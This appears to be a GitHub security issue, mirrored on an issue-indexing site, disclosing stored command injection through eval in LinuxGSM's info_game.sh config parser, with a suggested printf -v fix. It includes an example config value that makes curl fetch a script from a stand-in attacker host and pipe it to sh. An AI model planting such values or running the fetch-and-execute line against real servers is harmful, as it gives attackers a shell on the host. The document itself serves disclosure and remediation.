GameServerManagers / GameServerManagers/LinuxGSM

Security: game-server config values parsed via eval in info_game.sh - stored command injection

Open
#4,955 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Shell
Stars
4.9k
Forks
864
PR merge metrics
No merged PRs in 30d

Description

## Security report (responsible disclosure)

### Game-server config values parsed through `eval` in `info_game.sh` — stored command injection

**Affected:** `lgsm/modules/info_game.sh:34` (identical pattern at lines 59, 84, 109, 147, 185, 210, 233, 258)

```bash
eval "${1}=\"$(sed -n '/^\<'"${2}"'\>/ { s/.*= *\"\?\([^"]*\)\"\?/\1/p;q }' "${servercfgparse}" | tr -d '\r')\""
```

The value extracted from the game's own config file is substituted into a string that `eval` then re-parses. A config value containing backticks or `$( )` executes as a command.

**Real callers feed attacker-reachable keys** — e.g. `info_game.sh:963-964` parse `game.serverName` / `game.serverPassword` from Battlefield-style `.con` configs. Anyone who can persist settings into the game server's config (in-game RCON admin, web panel, file manager, or a remote admin of the game itself) writes:

```
game.serverName "x$(curl http://attacker.tld/s|sh)"
```

The next `./gameserver start`/`monitor`/details cycle parses the config and executes the payload as the LinuxGSM user — re-triggered forever.

### Severity

Medium (same-user boundary: game process/remote-game-admin → host shell; becomes root-relevant in setups running LGSM cron as root). Defense-in-depth violation of CWE-78/CWE-95.

### Suggested fix

Replace every parse-helper `eval` with safe dynamic assignment:

```bash
printf -v "${1}" '%s' "$(sed -n '/^\<'"${2}"'\>/ { s/.*= *\"\?\([^"]*\)\"\?/\1/p;q }' "${servercfgparse}" | tr -d '\r')"
```

No eval needed anywhere in these helpers.

Contributor guide

Open the contributing guide

Research direction

Start in lgsm/modules/info_game.sh at line 34 and review the identical eval patterns at lines 59, 84, 109, 147, 185, 210, 233, and 258, then inspect the callers around lines 963-964. Replace the parse-helper eval usage with safe assignment while preserving the extracted values, and verify that config values containing command-substitution syntax are not executed.

Written by the indexing model from the issue text.

Assessment

Tech stack
bash, shell
Domain
cli, security
Issue type
Bug
Difficulty
3/5
Estimated time
1-2 days
Activity status
Active
Clarity
Clearly specified
Newbie friendliness
72/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.